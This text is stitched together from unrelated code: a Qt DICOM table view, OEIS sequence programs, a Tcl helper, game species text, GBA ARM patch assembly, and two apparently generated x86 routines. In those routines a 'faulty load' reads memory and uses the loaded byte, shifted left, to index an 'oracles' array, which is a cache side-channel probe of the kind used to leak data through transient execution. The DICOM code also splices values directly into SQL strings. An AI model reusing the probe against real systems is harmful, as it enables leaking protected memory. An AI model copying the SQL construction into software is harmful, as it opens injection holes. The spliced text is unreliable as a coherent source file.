Q_D(ctkDICOMTableView); d->queryForeignKey = foreignKey; } //------------------------------------------------------------------------------ QString ctkDICOMTableView::queryForeignKey() const { Q_D(const ctkDICOMTableView); return d->queryForeignKey; } //------------------------------------------------------------------------------ void ctkDICOMTableView::onSelectionChanged() { emit selectionChanged(currentSelection()); } //------------------------------------------------------------------------------ void ctkDICOMTableView::onDatabaseOpened() { Q_D(ctkDICOMTableView); this->setQuery(); if (!d->dicomDatabase || !d->dicomDatabase->isDisplayedFieldsTableAvailable()) { // invalid or outdated database schema this->setEnabled(false); return; } d->applyColumnProperties(); this->setEnabled(true); } //------------------------------------------------------------------------------ void ctkDICOMTableView::onDatabaseClosed() { Q_D(ctkDICOMTableView); this->setQuery(); this->setEnabled(false); } //------------------------------------------------------------------------------ void ctkDICOMTableView::onDatabaseSchemaUpdated() { Q_D(ctkDICOMTableView); this->setQuery(); d->applyColumnProperties(); } //------------------------------------------------------------------------------ void ctkDICOMTableView::onDatabaseChanged() { Q_D(ctkDICOMTableView); if (d->batchUpdate) { d->batchUpdateModificationPending = true; return; } this->setQuery(); } //------------------------------------------------------------------------------ void ctkDICOMTableView::onUpdateQuery(const QStringList& uids) { Q_D(ctkDICOMTableView); this->setQuery(uids); bool showWarning = d->dicomSQLFilterModel->rowCount() == 0 && d->leSearchBox->text().length() != 0; d->showFilterActiveWarning(showWarning); emit showFilterActiveWarning(showWarning); const QStringList& newUIDS = this->uidsForAllRows(); emit queryChanged(newUIDS); } //------------------------------------------------------------------------------ void ctkDICOMTableView::setFilterText(const QString& filterText) { Q_D(ctkDICOMTableView); d->leSearchBox->setText(filterText); } //------------------------------------------------------------------------------ void ctkDICOMTableView::onFilterChanged(const QString& filterText) { Q_D(ctkDICOMTableView); d->dicomSQLFilterModel->setFilterWildcard(filterText); const QStringList uids = this->uidsForAllRows(); bool showWarning = d->dicomSQLFilterModel->rowCount() == 0 && d->dicomSQLModel.rowCount() != 0; d->showFilterActiveWarning(showWarning); emit showFilterActiveWarning(showWarning); d->tblDicomDatabaseView->clearSelection(); emit queryChanged(uids); emit filterTextChanged(filterText); } //------------------------------------------------------------------------------ void ctkDICOMTableView::onInstanceAdded() { Q_D(ctkDICOMTableView); if (d->batchUpdate) { d->batchUpdateInstanceAddedPending = true; return; } d->sqlWhereConditions.clear(); d->tblDicomDatabaseView->clearSelection(); d->leSearchBox->clear(); this->setQuery(); } //------------------------------------------------------------------------------ void ctkDICOMTableView::selectAll() { Q_D(ctkDICOMTableView); d->tblDicomDatabaseView->selectAll(); } //------------------------------------------------------------------------------ void ctkDICOMTableView::selectFirst() { Q_D(ctkDICOMTableView); QModelIndex firstIndex = d->tblDicomDatabaseView->model()->index(0,0); QItemSelectionModel* selectionModel = d->tblDicomDatabaseView->selectionModel(); selectionModel->setCurrentIndex(firstIndex, QItemSelectionModel::Select | QItemSelectionModel::Rows); } //------------------------------------------------------------------------------ void ctkDICOMTableView::clearSelection() { Q_D(ctkDICOMTableView); d->tblDicomDatabaseView->clearSelection(); } //------------------------------------------------------------------------------ bool ctkDICOMTableView::eventFilter(QObject *obj, QEvent *event) { Q_D(ctkDICOMTableView); if (obj == d->tblDicomDatabaseView->viewport()) { if (event->type() == QEvent::MouseButtonPress || event->type() == QEvent::MouseButtonDblClick) { QMouseEvent* mouseEvent = static_cast<QMouseEvent*>(event); QPoint pos = mouseEvent->pos(); if (!d->tblDicomDatabaseView->indexAt(pos).isValid()) { return true; } } } return QObject::eventFilter(obj, event); } //------------------------------------------------------------------------------ void ctkDICOMTableView::setQuery(const QStringList &uids) { Q_D(ctkDICOMTableView); QString query = ("select distinct %1.* from Patients, Series, Studies where " "Patients.UID = Studies.PatientsUID and Studies.StudyInstanceUID = Series.StudyInstanceUID"); int columnCountBefore = d->dicomSQLModel.columnCount(); if (!uids.empty() && d->queryForeignKey.length() != 0) { query += " and %1."+d->queryForeignKey+" in ( '"; query.append(uids.join("','")).append("')"); } if (!d->sqlWhereConditions.empty()) { QHash<QString, QStringList>::const_iterator i = d->sqlWhereConditions.begin(); while (i != d->sqlWhereConditions.end()) { if (!i.value().empty()) { query += " and "+i.key()+" in ( '"; query.append(i.value().join("','")).append("')"); } ++i; } } if (d->dicomDatabase != 0 && d->dicomDatabase->isOpen() && (d->queryForeignKey.isEmpty() || !uids.empty()) ) { d->dicomSQLModel.setQuery(query.arg(d->queryTableName), d->dicomDatabase->database()); if (columnCountBefore==0) { // columns have not been initialized yet d->applyColumnProperties(); } } else { d->dicomSQLModel.clear(); } } //------------------------------------------------------------------------------ void ctkDICOMTableView::addSqlWhereCondition(const std::pair<QString, QStringList> &condition) { Q_D(ctkDICOMTableView); d->sqlWhereConditions.insert(condition.first, condition.second); } //------------------------------------------------------------------------------ void ctkDICOMTableView::addSqlWhereCondition(const QString column, const QStringList& values) { Q_D(ctkDICOMTableView); d->sqlWhereConditions.insert(column, values); } //------------------------------------------------------------------------------ QStringList ctkDICOMTableView::uidsForAllRows() const { Q_D(const ctkDICOMTableView); QAbstractItemModel* tableModel = d->tblDicomDatabaseView->model(); int numberOfRows = tableModel->rowCount(); QStringList uids; if (numberOfRows == 0) { //Return invalid UID if there are no rows uids << QString("#"); } else { for(int i = 0; i < numberOfRows; ++i) { uids << QString("%1").arg(tableModel->index(i,0).data().toString()); } } return uids; } //------------------------------------------------------------------------------ QStringList ctkDICOMTableView::currentSelection() const { Q_D(const ctkDICOMTableView); QModelIndexList currentSelection = d->tblDicomDatabaseView->selectionModel()->selectedRows(0); QStringList uids; foreach(QModelIndex i, currentSelection) { uids << i.data().toString(); } return uids; } //------------------------------------------------------------------------------ bool ctkDICOMTableView::filterActive() { Q_D(ctkDICOMTableView); return (d->leSearchBox->text().length() != 0); } //------------------------------------------------------------------------------ void ctkDICOMTableView::onCustomContextMenuRequested(const QPoint &point) { Q_D(ctkDICOMTableView); // translate the local point to a global QPoint globalPosition = d->tblDicomDatabaseView->mapToGlobal(point); emit customContextMenuRequested(globalPosition); } //------------------------------------------------------------------------------ QTableView* ctkDICOMTableView::tableView() { Q_D( ctkDICOMTableView ); return d->tblDicomDatabaseView; } //------------------------------------------------------------------------------ bool ctkDICOMTableView::isBatchUpdate()const { Q_D(const ctkDICOMTableView); return d->batchUpdate; } //------------------------------------------------------------------------------ bool ctkDICOMTableView::setBatchUpdate(bool enable) { Q_D(ctkDICOMTableView); if (enable == d->batchUpdate) { return d->batchUpdate; } d->batchUpdate = enable; if (!d->batchUpdate) { // Process pending modification events if (d->batchUpdateModificationPending) { this->onDatabaseChanged(); } if (d->batchUpdateInstanceAddedPending) { this->onInstanceAdded(); } } d->batchUpdateModificationPending = false; d->batchUpdateInstanceAddedPending = false; return !d->batchUpdate; } //------------------------------------------------------------------------------ bool ctkDICOMTableView::isHeaderVisible()const { Q_D(const ctkDICOMTableView); return d->headerWidget->isVisible(); } //------------------------------------------------------------------------------ void ctkDICOMTableView::setHeaderVisible(bool visible) { Q_D(ctkDICOMTableView); return d->headerWidget->setVisible(visible); }
; A168067: n*(n^7+1)/2. ; 0,1,129,3282,32770,195315,839811,2882404,8388612,21523365,50000005,107179446,214990854,407865367,737894535,1281445320,2147483656,3487878729,5509980297,8491781530,12800000010,18911429691,27437936779,39155492652,55037657100,76293945325,104413532301,141214768254,188900999182,250123206495,328050000015,426445518736,549755813904,703204309137,892896952465,1125937695330,1410554953746,1756239726979,2173896069267,2676004630260,3276800000020,3992462614581,4841325998229,5844100138822,7024111812630,8407562695335,10023806115991,11905643330904,14089640214552,16616465284825,19531250000025,22883972285226,26729864265754,31129845205707,36150980669595,41866968945340,48358655787036,55714578556029,64031540859037,73415218802190,83980800000030,95853656498671,109170052792479,124077890133792,140737488355360,159322406445345,180020303134881,203033838778354,228581619826722,256899187214355,288240050000035,322876765622916,361102068154404,403230045947077,449597370101925,500564575195350,556517393727526,617868145773879,685057185341607,758554404953320,838860800000040,926510094425961,1022070429327529,1126146116069562,1239379455541290,1362452625195355,1496089635532971,1641058357718604,1798172624027692,1968294402851085,2152336050000045,2351262638075806,2566094365687854,2797909048325247,3047844692705455,3317102156445360,3606947894919216,3918716797188529,4253815112908977,4613723472139650,5000000000000050,5414283528140451,5858296905011379,6333850406938132,6842845252026420,7387277218945365,7969240372654261,8590930899159654 mov $1,$0 pow $1,8 add $1,$0 div $1,2
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0x1e431, %rdi clflush (%rdi) nop nop nop nop add $37115, %r12 mov (%rdi), %r15 nop nop nop add %r12, %r12 lea addresses_UC_ht+0xc31, %rsi lea addresses_WC_ht+0x1dded, %rdi nop and $19708, %rax mov $47, %rcx rep movsb nop nop nop sub %rax, %rax lea addresses_A_ht+0x4c31, %rsi lea addresses_WC_ht+0x17431, %rdi nop nop nop nop cmp $1175, %r10 mov $78, %rcx rep movsw nop nop sub $32584, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %rbx push %rcx push %rdi push %rdx // Store lea addresses_D+0x1a8d9, %rcx nop nop nop nop xor %r10, %r10 mov $0x5152535455565758, %rdx movq %rdx, %xmm0 movups %xmm0, (%rcx) nop nop and $340, %rdx // Store lea addresses_A+0x1e07, %r12 and %rbx, %rbx movb $0x51, (%r12) nop nop nop nop nop add $31605, %rcx // Load lea addresses_WT+0x4731, %r10 nop nop nop nop nop add %r12, %r12 mov (%r10), %rcx nop nop xor %rbx, %rbx // Store lea addresses_normal+0x174ad, %r10 nop nop nop cmp %rdi, %rdi mov $0x5152535455565758, %rbx movq %rbx, %xmm5 movups %xmm5, (%r10) nop nop nop add %r13, %r13 // Load mov $0xc31, %r13 nop nop and %r12, %r12 mov (%r13), %edx nop nop nop nop nop xor %r10, %r10 // Store lea addresses_D+0xbc31, %rcx nop nop nop nop nop add $24584, %rbx mov $0x5152535455565758, %r12 movq %r12, (%rcx) nop xor $4751, %r12 // Faulty Load lea addresses_D+0xbc31, %rdx nop nop nop nop xor %rbx, %rbx mov (%rdx), %r10d lea oracles, %rdx and $0xff, %r10 shlq $12, %r10 mov (%rdx,%r10,1), %r10 pop %rdx pop %rdi pop %rcx pop %rbx pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
; A110169: Triangle read by rows: T(n,k) (0<=k<=n) is the number of Delannoy paths of length n that start with exactly k (1,1) steps. ; Submitted by Jon Maiga ; 1,2,1,10,2,1,50,10,2,1,258,50,10,2,1,1362,258,50,10,2,1,7306,1362,258,50,10,2,1,39650,7306,1362,258,50,10,2,1,217090,39650,7306,1362,258,50,10,2,1,1196834,217090,39650,7306,1362,258,50,10,2,1,6634890,1196834 seq $0,25581 ; Triangle T(n, k) = n-k, 0 <= k <= n. seq $0,110170 ; First differences of the central Delannoy numbers (A001850).
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1916d, %r12 and %r8, %r8 mov (%r12), %r13 nop nop cmp $44934, %rbp lea addresses_normal_ht+0x13ead, %r10 nop nop nop nop nop sub %r9, %r9 movl $0x61626364, (%r10) nop nop nop nop nop cmp $36233, %r12 lea addresses_UC_ht+0x16ead, %rsi lea addresses_D_ht+0x21dd, %rdi nop add $53680, %rbx mov $32, %rcx rep movsw nop nop nop xor %rcx, %rcx lea addresses_WT_ht+0x10bad, %r12 clflush (%r12) nop nop nop nop nop dec %rcx movw $0x6162, (%r12) xor %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r8 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r8 push %rbp push %rcx // Store lea addresses_D+0x1eaab, %r11 nop nop nop dec %r14 mov $0x5152535455565758, %rbp movq %rbp, (%r11) nop nop nop nop inc %r14 // Store lea addresses_US+0xb4ad, %r10 clflush (%r10) sub %r13, %r13 mov $0x5152535455565758, %r11 movq %r11, %xmm0 vmovups %ymm0, (%r10) nop nop xor $17022, %rbp // Store lea addresses_WC+0xefad, %r14 nop nop nop sub $32185, %r10 movw $0x5152, (%r14) xor %rcx, %rcx // Faulty Load lea addresses_US+0x6bad, %r13 nop xor $11100, %r11 vmovups (%r13), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %rbp lea oracles, %r11 and $0xff, %rbp shlq $12, %rbp mov (%r11,%rbp,1), %rbp pop %rcx pop %rbp pop %r8 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'00': 64} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
#include <CQChartsExprModelFn.h> #include <CQChartsExprModel.h> #include <CQTclUtil.h> CQChartsExprModelFn:: CQChartsExprModelFn(CQChartsExprModel *model, const QString &name) : model_(model), name_(name) { qtcl_ = model->qtcl(); cmdId_ = qtcl()->createExprCommand(name_, (CQTcl::ObjCmdProc) &CQChartsExprModelFn::commandProc, (CQTcl::ObjCmdData) this); } int CQChartsExprModelFn:: commandProc(ClientData clientData, Tcl_Interp *, int objc, const Tcl_Obj **objv) { auto *command = static_cast<CQChartsExprModelFn *>(clientData); Values values; for (int i = 1; i < objc; ++i) { const auto *obj = objv[i]; values.push_back(CQTclUtil::variantFromObj(command->qtcl()->interp(), obj)); } auto var = command->exec(values); command->qtcl()->setResult(var); return TCL_OK; } QVariant CQChartsExprModelFn:: exec(const Values &values) { return model_->processCmd(name_, values); } bool CQChartsExprModelFn:: checkColumn(int col) const { return model_->checkColumn(col); } bool CQChartsExprModelFn:: checkIndex(int row, int col) const { return model_->checkIndex(row, col); }
; A266936: Number of 3 X n binary arrays with rows lexicographically nondecreasing and columns lexicographically nondecreasing and row sums nondecreasing and column sums nonincreasing. ; 4,7,9,12,14,19,21,26,30,35,39,46,50,57,63,70,76,85,91,100,108,117,125,136,144,155,165,176,186,199,209,222,234,247,259,274,286,301,315,330,344,361,375,392,408,425,441,460,476,495,513,532,550,571,589,610,630,651,671 mov $2,$0 add $2,4 lpb $2 trn $2,2 mov $0,$2 add $0,3 lpb $0 trn $0,3 add $1,2 lpe sub $1,1 lpe
db "MOUSE@" ; species name db "Adept at climbing" next "trees, it rolls" next "into a spiny ball," page "then attacks its" next "enemies from" next "above.@"
//============================================================================== c980c_custom_codes: push {r1-r2,lr} mov r1,r7 mov r2,r5 bl customcodes_parse ldr r1,[r6] // If 0, return [r6]+2; otherwise, return [r6]+r0 cmp r0,#0 beq @@next cmp r0,#0 bge @@continue //If -1, then set this to 0 mov r0,#0 @@continue: add r0,r0,r1 pop {r1-r2,pc} @@next: add r0,r1,2 pop {r1-r2,pc} //============================================================================== c980c_weld_entry: push {r0-r3,lr} mov r0,r5 mov r1,r7 bl weld_entry pop {r0-r3,pc} //============================================================================== c8ffc_custom_codes: push {r2,r5,lr} ldrb r0,[r2] mov r5,r0 mov r1,r2 mov r2,r4 bl customcodes_parse cmp r0,0 beq @@next mov r2,r12 add r0,r0,r2 strh r0,[r4,0x14] pop {r2,r5} add sp,4 ldr r1,=0x80C904D bx r1 @@next: mov r0,r5 cmp r0,1 pop {r2,r5,pc} .pool //============================================================================== c8ffc_weld_entry: push {r0-r1,lr} mov r0,r4 mov r1,r2 bl weld_entry pop {r0-r1,pc} //============================================================================== c980c_resetx: push {r1,lr} mov r1,0 strb r1,[r0,2] pop {r1} bl 0x80C87D0 pop {pc} //============================================================================== c980c_resetx_newline: push {lr} strh r0,[r5,0x2C] strh r4,[r5,0x2A] strb r4,[r5,2] pop {pc} //============================================================================== c980c_resetx_scroll: push {lr} strh r0,[r5,0x2C] strh r1,[r5,0x2A] strb r1,[r5,2] pop {pc} //============================================================================== c980c_resetx_other: push {lr} strh r0,[r5,0x2C] strh r2,[r5,0x2A] strb r2,[r5,2] pop {pc} //============================================================================== c980c_resetx_other2: push {lr} mov r2,0 strh r2,[r5,0x2A] strb r2,[r5,2] pop {pc} //============================================================================== c980c_resetx_other3: push {lr} mov r1,0 strh r1,[r5,0x2A] strb r1,[r5,2] pop {pc} //============================================================================== c980c_resetx_other4: push {lr} strh r0,[r5,0x2C] strh r6,[r5,0x2A] strb r6,[r5,2] pop {pc} //============================================================================== c87d0_clear_entry: push {lr} // Reset X mov r1,0 strb r1,[r0,2] // Clear window bl clear_window // Clobbered code ldr r4,=0x3005270 mov r1,0x24 pop {pc} .pool //============================================================================== c9634_resetx: push {lr} mov r4,0 strb r4,[r6,2] // Clobbered code strh r5,[r1] pop {pc} //============================================================================== // Only render the (None) strings in the equip window if there's nothing equipped c4b2c_skip_nones: push {r7,lr} add sp,-4 mov r7,0 // Get the (none) pointer mov r0,r4 mov r1,r10 mov r2,0x2A bl 0x80BE260 mov r5,r0 // Check each equip slot ldr r6,=0x3001D40 ldr r3,=0x3005264 ldrh r0,[r3] // active party character mov r1,0x6C mul r0,r1 add r6,r0,r6 add r6,0x75 ldrb r0,[r6] cmp r0,0 bne @@next // Weapon mov r0,r8 mov r1,r5 mov r2,0x6 mov r3,0 str r7,[sp] bl 0x80C9634 @@next: ldrb r0,[r6,1] cmp r0,0 bne @@next2 // Body mov r0,r8 mov r1,r5 mov r2,0x6 mov r3,1 str r7,[sp] bl 0x80C9634 @@next2: ldrb r0,[r6,2] cmp r0,0 bne @@next3 // Arms mov r0,r8 mov r1,r5 mov r2,0x6 mov r3,2 str r7,[sp] bl 0x80C9634 @@next3: ldrb r0,[r6,3] cmp r0,0 bne @@next4 // Other mov r0,r8 mov r1,r5 mov r2,0x6 mov r3,3 str r7,[sp] bl 0x80C9634 @@next4: mov r0,0 mov r10,r0 add sp,4 pop {r7,pc} .pool //============================================================================== //Print numbers in the numbers window at the beginning - Used in order to make sure the one-person version prints the numbers print_equip_base_numbers: push {lr} add sp,#-4 bl 0x80BC034 lsl r0,r0,#0x18 lsr r0,r0,#0x18 mov r1,r8 mov r2,#3 bl m2_formatnumber mov r5,#0 mov r0,r10 strb r5,[r0,#0x15] mov r0,#0xFF mov r1,r10 strb r0,[r1,#0x16] ldr r0,[r4,#0x14] str r5,[sp] mov r1,r8 mov r2,#0x37 mov r3,#3 bl printnumberequip //Prints Offense number bl 0x80BC0CC lsl r0,r0,#0x18 lsr r0,r0,#0x18 mov r1,r8 mov r2,#3 bl m2_formatnumber mov r0,r10 strb r5,[r0,#0x15] mov r0,#0xFF mov r1,r10 strb r0,[r1,#0x16] ldr r0,[r4,#0x14] str r5,[sp] mov r1,r8 mov r2,#0x37 mov r3,#0x13 bl printnumberequip //Prints Defense number bl store_pixels_overworld add sp,#4 pop {pc} //============================================================================== // Clears the equipment portion of the equip window // r0 = window pointer clear_equipment: push {r0-r4,lr} add sp,-4 mov r3,r0 ldr r0,=0x44444444 str r0,[sp] ldrh r0,[r3,0x22] add r0,6 ldrh r1,[r3,0x24] ldrh r2,[r3,0x26] sub r2,6 ldrh r3,[r3,0x28] bl clear_rect add sp,4 pop {r0-r4,pc} .pool //============================================================================== // Clear equipment and offense/defense when moving left/right on equip screen // r6 = window pointer c4b2c_clear_left: mov r0,r6 bl clear_equipment // Clear offense/defense push {r0-r3} mov r0,9 mov r1,0xB mov r2,8 bl bb21c_print_blankstr_buffer mov r0,9 mov r1,0xD mov r2,8 bl bb21c_print_blankstr_buffer pop {r0-r3} // Clobbered code strh r1,[r3] ldr r0,=0x80C4F3B bx r0 c4b2c_clear_right: mov r0,r6 bl clear_equipment // Clear offense/defense push {r0-r3} mov r0,9 mov r1,0xB mov r2,8 bl bb21c_print_blankstr_buffer mov r0,9 mov r1,0xD mov r2,8 bl bb21c_print_blankstr_buffer pop {r0-r3} // Clobbered code strh r1,[r3] ldr r0,=0x80C4EFF bx r0 .pool //============================================================================== // Prints a string in the status window c0a5c_printstr: push {r0-r2,lr} mov r0,r1 mov r1,r2 mov r2,r3 bl print_string pop {r0-r2,pc} //============================================================================== // Prints an empty space instead of the "Press A for PSI info" string c0a5c_psi_info_blank: push {r0-r3,lr} mov r0,5 mov r1,0xF mov r2,0x14 bl bb21c_print_blankstr_buffer pop {r0-r3,pc} //============================================================================== // Redraws the status window (when exiting the PSI submenu, etc.) bac18_redraw_status: push {r4,lr} ldr r4,=0x3005230 ldr r4,[r4,0x18] // Get the address of the status text ldr r0,=0x8B17EE4 ldr r1,=0x8B17424 mov r2,0x11 bl 0x80BE260 // Prepare the window for parsing mov r1,r0 mov r0,r4 mov r2,0 bl initWindow_buffer // Render text mov r0,r4 bl statusWindowText // Render numbers mov r0,r4 ldrh r1,[r0,#0] ldr r2,=#0xFBFF and r1,r2 strh r1,[r0,#0] mov r1,0 bl statusNumbersPrint pop {r4,pc} .pool //============================================================================== // Redraws the status window (when exiting the PSI menu) and stores it bac18_redraw_status_store: push {lr} bl bac18_redraw_status bl store_pixels_overworld pop {pc} .pool //============================================================================== // Calls m2_soundeffect only if we're going in either talk or check beaa6_fix_sounds: push {lr} mov r1,r10 add r1,r1,r4 mov r2,r5 add r2,#0x42 ldrb r2,[r2,#0] //Is this the status window? If not, then do the sound cmp r2,#0 beq @@sound cmp r1,#0 beq @@sound cmp r1,#4 bne @@end @@sound: bl m2_soundeffect @@end: pop {pc} //============================================================================== // Loads the buffer up in battle dc22a_load_buffer_battle: push {lr} mov r9,r0 ldr r3,[r5,#0] bl load_pixels_overworld push {r0-r3} swi #5 pop {r0-r3} pop {pc} //============================================================================== // Calls m2_soundeffect only if we're out of the main menu bea88_fix_sounds: push {lr} mov r2,r5 add r2,#0x42 ldrb r2,[r2,#0] //Is this the status window? If not, then we may not want to do the sound cmp r2,#0 bne @@sound ldrb r2,[r5,#3] //If we are printing, then don't do the sound mov r1,#1 and r1,r2 cmp r1,#0 beq @@end @@sound: bl m2_soundeffect @@end: pop {pc} //============================================================================== // Only if the character changed store the buffer - called when reading inputs bac6e_statusWindowNumbersInputManagement: push {lr} ldr r2,=#m2_active_window_pc ldrb r2,[r2,#0] push {r2} bl statusWindowNumbers pop {r2} ldr r1,=#m2_active_window_pc ldrb r1,[r1,#0] cmp r1,r2 beq @@end bl store_pixels_overworld @@end: pop {pc} //============================================================================== //Prints the attack target choice menu and stores the buffer e02c6_print_target_store: push {lr} bl printTargetOfAttack bl store_pixels_overworld pop {pc} //============================================================================== // Clears the PSI window when switching classes // r5 = 0x3005230 bac18_clear_psi: push {r0,lr} ldr r0,[r5,0x20] // PSI class window pointer ldrb r0,[r0] mov r1,0x10 and r0,r1 cmp r0,0 beq @@next // If flag 0x10 is set, clear the PSI window ldr r0,[r5,0x1C] // PSI window ldr 